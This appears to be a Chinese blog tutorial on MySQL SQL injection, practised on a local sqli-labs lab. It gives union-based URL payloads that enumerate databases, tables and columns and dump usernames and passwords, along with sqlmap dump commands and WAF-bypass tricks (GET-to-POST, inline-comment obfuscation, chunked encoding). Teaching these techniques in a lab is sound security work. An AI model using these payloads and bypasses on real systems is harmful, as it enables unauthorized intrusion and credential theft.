初探mysql注入

一、SQL注入手工注入基本流程

套路三连: 爆库 爆表 爆数据

了解表结构:

前言:

mysql中注释符:# 、/**/ 、 --

information_schema数据库中三个很重要的表:

information_schema.schemata 该数据表存储了mysql数据库中的所有数据库的库名

information_schema.tables 该数据表存储了mysql数据库中的所有数据表的表名

information_schema.columns 该数据表存储了mysql数据库中的所有列的列名

  1. 寻找注入点,order by 确定列数,确定显示位

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+ 确定有3列

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+ 确定显示位为 2,3

  1. 爆当前数据库 确定当前数据库为security

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,database()--+

2、爆表 确定数据库security 有四张表

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

3.爆列 以users表为例

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

4、爆数据

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2, group_concat(username,0x3a,password) from users --+

手工太繁琐? Sqlmap懂你

二、自动化注入工具sqlmap的使用

GET型 sqlmap.py -u xxxx

POST型 sqlmap.py -r xxx 或 sqlmap.py -u xxxx --data “xxxx”

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db --threads 10 --batch

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --dump --threads 10 --batch

懂了,有手就行,sqlmap一把梭,如此简单?WAF我不要面子的吗?

有WAF猝,so 放弃?

三.基础姿势绕过WAF

1.GET转换为POST

GET传参已被被各大waf厂商查杀,众所周知把get改成post一样可以正常请求,同时这也是最简单的绕waf姿势

再次拿起sqlmap,注入成功

2. 尝试多种注入方式

Union 注入,猝

报错注入成功

3. 内联注释混淆绕过

database() 拦截 database 不拦截

database(/*%!’/*/) 不拦截

4. 分块传输编码绕过

插件代理

下载地址:https://github.com/c0ny1/chunked-coding-converter

与sqlmap连动

sqlmap.py -r C:\Users\yusw\Desktop\pikachu.txt --proxy=http://127.0.0.1:8080 --current-db --threads 10 --batch

 

阅读剩余
THE END